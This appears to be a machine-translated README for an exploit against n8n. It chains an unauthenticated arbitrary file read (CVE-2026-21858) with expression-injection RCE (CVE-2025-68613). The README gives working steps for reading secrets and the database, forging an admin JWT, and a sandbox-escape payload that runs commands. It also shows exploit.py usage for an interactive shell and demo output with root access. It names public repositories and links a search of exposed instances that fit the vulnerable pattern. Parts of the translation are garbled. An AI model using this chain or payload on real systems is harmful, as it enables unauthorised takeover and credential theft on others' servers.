未认证任意文件读取→管理员令牌锻造→沙箱绕过→RCE
| CVE | CVE-2026-21858(空军预备役)+ CVE-2025-68613(RCE) |
| CVSS | 10.0 + 9.9(关键) |
| 受影响 | <= 1.65.0(空军比)/ >= 0.211.0(RCE) |
| 固定 | 1.121.0(空军预报)/ 1.120.4+(RCE) |
| 已披露 | 2026-01-07 11:09 UTC |
| 代号 | Ni8mare |
| 致谢 | 多尔·阿提亚斯(赛拉) |
| 利用 | 乔卡皮克 |
| 流程 | AI-automated: patch diff → repro → lab → exploit(披露后~9小时) |
| 类型 | 概念验证------不是通用漏洞(需要特定的工作流程配置,详见限制)) |
总结:总结
n8n 上的完整未认证 RCE 链:
- CVE-2026-21858 - 任意文件读取→内容类型混淆
- 读取配置+数据库→Forge管理员JWT
- CVE-2025-68613 - 表达注入→沙箱绕过→RCE
检测
曝光基于版本。在暴露方面,有一些脆弱的n8n实例是公开可访问的。
LeakIX 结果: 查看暴露实例
https://leakix.net/search?scope=leak&q=%2Btag%3Acve-2026-21858
为什么要利用这个漏洞?
该漏洞是独立于Cyera文档(完成后发现的)开发的。主要区别:
| Cyera(原创研究) | 这一漏洞 | |
|---|---|---|
| 文件已读 | 通过聊天→加载到AI知识库查询 | 直接HTTP响应 |
| 前提条件 | 聊天工作流程 + AI 集成 | 任何带有文件上传的表格 |
| RCE方法 | "执行命令"节点(默认禁用) | 表达式注入(默认安装时有效) |
| 自动化 | 手册/概念演示 | 全自动 Python 脚本 |
这两种方法都需要特定的工作流程配置。Cyera需要Chat + AI集成,这个漏洞需要一个带有Respond节点的表单。详情请参见限制。
攻击链
notranslate
<span style="background-color:#f6f8fa"><span style="color:#1f2328"><span style="color:#1f2328"><span style="background-color:#f6f8fa"><code>┌───────────────────────────────────────────────────────────┐
│ UNAUTHENTICATED │
├───────────────────────────────────────────────────────────┤
│ 1. Read /proc/self/environ → Find HOME directory │
│ 2. Read $HOME/.n8n/config → Get encryptionKey │
│ 3. Read $HOME/.n8n/database.sqlite → Get admin creds │
├───────────────────────────────────────────────────────────┤
│ TOKEN FORGE │
├───────────────────────────────────────────────────────────┤
│ 4. Derive JWT secret from encryptionKey │
│ 5. Forge admin session cookie │
├───────────────────────────────────────────────────────────┤
│ AUTHENTICATED RCE │
├───────────────────────────────────────────────────────────┤
│ 6. Create workflow with expression injection │
│ 7. Sandbox bypass via this.process.mainModule.require │
│ 8. Execute arbitrary commands │
└───────────────────────────────────────────────────────────┘
</code></span></span></span></span>
CVE-2026-21858 - 通过内容类型读取任意文件混淆
徽章
notranslate
<span style="background-color:#f6f8fa"><span style="color:#1f2328"><span style="color:#1f2328"><span style="background-color:#f6f8fa"><code>commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
</code></span></span></span></span>
传奇的**"从fork合并提交"**------看到这个,说明有人发现了刺激的东西。 🌶️
根本原因
// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
发送→控制,读取任何文件→。Content-Type: application/json``filepath
CVE-2025-68613 - 表达注入RCE
为什么选择这个绕行?
n8n 用户沙箱(代码节点,表达式)使用 /。其他RCE载体:vm2``isolated-vm
| 技术 | 现状 |
|---|---|
| 执行命令节点 | 默认禁用 (N8N_ALLOW_EXEC_COMMAND=false) |
| SSH/HTTP 节点 | 在远程服务器上执行,而不是在n8n主机上 |
| Pyodide 沙盒逃脱 | CVE-2025-68668 - 需要 Python 代码节点 |
| 表达注入 | CVE-2025-68613 - 默认安装时可正常使用 |
我用表达注入是因为它能在任何默认设置的n8n上运行------不需要特殊节点或配置。Pyodide 绕过(CVE-2025-68668)需要 Python 代码节点,但该节点可能并非所有实例都可用。
有效载荷
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
N8N表达式可以访问完整的沙盒转义功能→。this.process.mainModule.require
代币锻造厂
# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
实验室设置
docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: admin@exploit.local / password
用途
# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
演示
notranslate
<span style="background-color:#f6f8fa"><span style="color:#1f2328"><span style="color:#1f2328"><span style="background-color:#f6f8fa"><code>╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║
║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: admin@exploit.local
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK
uid=0(root) gid=0(root) groups=0(root)
</code></span></span></span></span>
局限性
**这绝不是"攻破任何n8n"漏洞。**它需要特定条件才能发挥作用:
| 需求 | 描述 |
|---|---|
| 表格附文件上传 | Target必须有一个带有文件上传字段的表单工作流程 |
| 响应Webhook节点 | 工作流程必须在HTTP响应中返回文件内容 |
| 工作流激活 | 表单工作流程必须被激活 |
| 未认证访问 | 表单必须公开访问(无需授权) |
易受攻击的工作流程配置示例:
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
关键元素为:+ 。这种模式在文件处理工作流程中很常见(转换器、图像调整器、文档处理器)。fieldType: "file"``respondWith: "binary"
作品:
- 带有Respond节点返回二进制的表单(文件转换器、处理器)
- 默认安装 n8n(表达式注入未被阻止)
- 本地/Docker 部署(数据库 + 存储在磁盘上的配置)
不起作用:
- 没有响应节点的表单(文件被读取,但内容未在HTTP响应中返回)
- 需要认证的表单
- n8n 云(不同架构,无法访问本地文件)
- 修补版本(>= 1.121.0)
**注:**漏洞(任意文件读取)无论采用何种数据外取方法都会被触发。Respond 节点只是获取内容的一种方式。其他方法(OOB、其他输出节点)可能根据工作流程配置有效。
**盲目剥削:**如果没有响应节点,n8n仍会读取文件,但无法通过HTTP响应被窃取。需要替代技术(如OOB、时序控制)。
现实世界的例子
漏洞模式(表单触发 + 文件上传 + 响应 Webhook)存在于公开的 GitHub 仓库中。
**注:**流行的n8n工作流程仓库(>100⭐)不使用这种模式。这些是社区/个人项目:
| 工作流程文件 | 文件字段 | 回应 |
|---|---|---|
| ifcpipeline/.../ifcpipeline.json | IDS,IFC(两次) | binary ⚠️ |
| 纳米香蕉工作室/....../03_multi_asset_processor.json | 图片、音频、Markdown | json |
| ticket-omnichannel-chat/.../Knowledge_base.json | 文件(PDF) | text |
| ai_resume_project/resume_rag.json | 文件上传 | allIncomingItems |
| FKGPT-Portfolio/.../audio-transcription-analysis.json | 音频文件 | text |
| n8n-backup/.../K3DwHQs0fnnm5UK0.json | 文件 | text |
| voltix登陆页面/.../chatbotvoltix.json | 上传文件 | 默认 |
| n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json | 文件 | 默认 |
| 8n8Workflows/.../3WoSqiBnZ56RtWMb.json | 上传你的文档 | 默认 |
| learn_earn_ai_insta/....../我的workflow.json | 上传你的文件 | 默认 |
| finintworkshop/.../API 使用 n8n (ToT) .json | 文件 | json |
这些都是社区贡献的工作流程。没有官方的 n8n.io 模板使用这种易受攻击的模式。
